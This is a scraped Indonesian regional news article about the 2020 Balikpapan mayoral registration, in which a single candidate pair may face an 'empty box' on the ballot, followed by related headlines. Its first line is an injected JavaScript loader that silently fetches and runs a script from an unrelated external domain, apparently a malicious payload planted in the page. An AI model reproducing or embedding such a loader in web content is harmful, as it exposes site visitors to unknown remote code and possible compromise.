(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALIKPAPAN – Pendaftaran Pilkada Serentak tahun ini berakhir pada 6 September 2020, pukul 24.00 Wita.
Hingga batas akhir tersebut, KPU Kota Balikpapan baru menerima pendaftaran satu pasangan calon yakni Rahmad Mas’ud dan Thohari Azis.
Meski berdasarkan tahapan Pilkada masih ada perpanjangan pendaftaran, tidak menutup kemungkinan adanya kotak kosong.
“Pendaftaran di perpanjang mulai 10 – 12 September 2020. Jika masih tidak ada pendaftar tambahan, maka paslon yang sudah mendaftar akan melawan kotak kosong,†kata Ketua KPU Kota Balikpapan Noor Thoha, Senin (7/9/2020).
Pemilih, tambahnya, jika tidak ingin memilih pasangan Rahmad-Thohari, bisa memilih kotak kosong di bilik suara nantinya. Bahkan, tidak ada larangan bagi warga untuk mengkampanyekan kotak kosong.
Meski tidak diatur dalam undang-undang, kampanye kotak kosong juga bukan sebuah pelanggaran. Hanya saja, perlu mekanisme yang jelas soal kampanye tersebut.
“Berdasarkan defenisi kampanye, maka kampanye adalah penyampaian visi misi dan program pasangan calon untuk meyakinkan pemilih. Dari defenisi itu maka jelas kolom kosong ini tidak ada visi misi programnya,†ujarnya.
Pasangan calon, papar Thoha, jika melihat Peraturan KPU maka diharuskan membentuk tim kampanye yang mengkampanyekan pasangan calonnya.
Hal ini tentu berbeda dengan kotak kosong yang tidak diatur sama sekali.
Meski demikian, tambahnya, menjadi kewajiban KPU Kota Balikpapan untuk berlaku adil terhadap setiap kontestan, termasuk kotak kosong.
Tugas KPU Kota Balikpapan untuk menyosialisasikan dan menjelaskan ke masyarakat soal kotak kosong.
“Keberadaan kotak kosong menjadi tanggungjawab KPU untuk mensosialisasikan. Tapi sosialisasi KPU harus adil ,†ujarnya
Thoha menegaskan, tidak ada larangan bagi masyarakat atau kelompok masyarakat untuk menyosialisasikan kotak kosong. Tentu saja, sebutnya, sepanjang tidak melanggar peraturan soal kampanye tersebut.
“Silahkan mensosialisasikan sepanjang tidak ada UU yang ditabraknya,†pungkasnya. (suara)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.